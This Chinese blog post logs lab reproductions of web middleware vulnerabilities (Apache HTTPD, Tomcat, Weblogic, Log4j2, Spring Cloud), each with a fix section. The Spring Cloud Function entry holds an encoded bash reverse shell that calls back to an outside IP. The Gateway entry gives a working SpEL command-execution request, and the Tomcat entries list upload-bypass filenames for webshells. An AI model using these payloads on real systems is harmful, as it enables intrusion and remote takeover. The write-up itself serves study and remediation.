Web常见中间件复现

记录自己复现中间件漏洞的一点记录

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

原理

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

上传一个1.php的文件,然后burp抓包可以修改,在1.php后插入一个0a

便可以成功上传,再访问1.php%0a,就可以执行了php文件

修复

  • 升级到最新版本
  • 对上传文件重命名
  • 禁用上传文件的执行权限

Apache HTTPD 多后缀解析漏洞

原理

Apache文件解析漏洞涉及到一个解析文件的特性:

Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别,则继续向左识别,当我们请求这样一个文件:shell.xxx.yyy

若给.php后缀增加了处理器:

AddHandler application/x-httpd-php .php

那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

修复

将AddHandler application/x-httpd-php .php的配置文件删除。

利用正则表达式
1、使用SetHandler,写好正则

<FileMatch “.+.php$”>

SetHandler application/x-httpd-php

2、禁止.php这样的文件执行

<FileMatch “.+.ph(p[3457]?|t|tml).”>

Require all denied

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

原理

由于配置不当(非默认配置),将配置文件conf/web.xml中的readonly设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传

根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码

通过阅读 conf/web.xml 文件,可以发现,默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控

搭建好环境后可以,进入docker的shell里查看一下

可以看到readonlyfalse,抓个包,改为PUT看能否写入一个文件

状态码是201,应该是写入成功

于是我们就可以写入一个jsp木🐎,用蚁剑生成一下,但是直接传,发现会报404,应该是对jsp有限制

绕过方式有三种

  • Windows下不允许文件以空格结尾以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
  • Windows NTFS流Put/a001.jsp::$DATA HTTP/1.1
  • /在文件名中是非法的,也会被去除(Linux/Windows)Put/a001.jsp/http:/1.1

便可以上传成功

拿到shell

修复

检测当前版本是否在影响范围内,并禁用PUT方法。

更新并升级至最新版。

最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。

Tomcat7+ 弱口令 && 后台war文件getshell漏洞

原理

Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。

若后台管理页面存在弱口令,则可以通过爆破获取密码。

启动环境后,访问/manage/html可以认证登录

经过base64编码,可以爆破弱口令,登录后,在这里可以看到有上传war包的地方

生成jsp🐎后,用jar打包成war文件

上传成功,访问200,应该没问题

拿到shell

修复

  • 在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。
  • 增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。
  • 以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。
  • 后台管理避免弱口令。

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

原理

复现

修复

打补丁

在绝⼤多数应⽤的使⽤场景中,⽤户只需要在公⽹能够使⽤HTTP(S)协议访问web应⽤服务器即可。

对于weblogic服务器,在绝⼤多数情况下,只需要能够在公⽹访问weblogic提供的HTTP(S)协议的服务即可,并不需要访问T3协议。
少数情况下,运维⼈员需要使⽤weblogic的T3协议:

  • 在weblogic服务器本机执⾏weblogic的停⽌脚本;
  • 通过WLST对weblogic进⾏脚本化配置;
  • 编写使⽤T3协议通信的程序对weblogic进⾏状态监控及其他管理功能。

T3协议与HTTP协议均基于TCP协议,T3协议以”t3″开头,HTTP协议以“GET”、“POST”等开头,两者有明显的区别。
因此可以限定只允许特定服务器访问weblogic服务器的T3协议,能够修复weblogic的JAVA反序列化漏洞。即使今后发现了weblogic的其他类存在JAVA反序列化漏洞,也能够防护

Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

原理

Apache Log4j是一个基于Java的日志记录组件,通过重写Log4j引入了丰富的功能特性,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。

主要由于它log4j2提供了lookup的功能

日志中包含 ${},lookup功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。

常见的解析有:

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s}
${log4j}
${main}
${name}
${marker}
${spring}
${sys:logPath}
${web:rootDir}

除了这个解析,还有涉及到一个jndi注入

复现

启动环境后,我们在管理员接口的action参数处进行漏洞利用

在dns平台可以收到回显

进一步利用可以运用这两个工具

JNDI 注入利用工具

JNDI-Injection-Exploit

利用如下

修复

  • Apache官方已发布新版本完成漏洞修复,建议及时升级至最新版本
  • 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
  • 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
  • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
  • 部署使用第三方防火墙产品进行安全防护。

Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)

原理

Spring Cloud Function将请求头中的“spring.cloud.function.routing-expression”参数作为 SpEL表达式进行处理,造成SpEL表达式注入漏洞,成功利用此漏洞可实现任意代码执行。

复现

发送如下请求包

POST /functionRouter HTTP/1.1
Host: 123.58.236.76
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMS40MS4xMjIuNzMvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}")
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

test

等待一会在vps上得到回连

修复

根据业务情况,更新版本修复

Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947)

原理

Spring cloud GateWay的actuator相关端点:

其中,调用添加路由的端点时,可以向路由中加入filters,过滤器的值允许为spEL表达式,且会解析这个spEL表达式。可以通过构造spEL进行远程命令执行。构造的filters可以直接利用gateway自带的AddResponseHeader,将spEL的执行结果添加到响应头中,直接通过响应头进行查看。

复现

第一个请求,发送恶意的SpEL表达式的路由

POST /actuator/gateway/routes/qqw HTTP/1.1
Host: 123.58.236.76:49135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 361

{
"id": "qqw",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}

第二个请求刷新

POST /actuator/gateway/refresh HTTP/1.1
Host: 123.58.236.76:49135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 0

然后访问,之前恶意请求的路由,可以看到已经执行了命令

修复

    1. 如果不需要Actuator,可以通过management.endpoint.gateway.enable:false配置将其禁用。
    1. 如果需要Actuator,则应使用Spring Security对其进行保护。
    1. 官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本。
作者

秋秋晚

发布于

2022-06-10

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...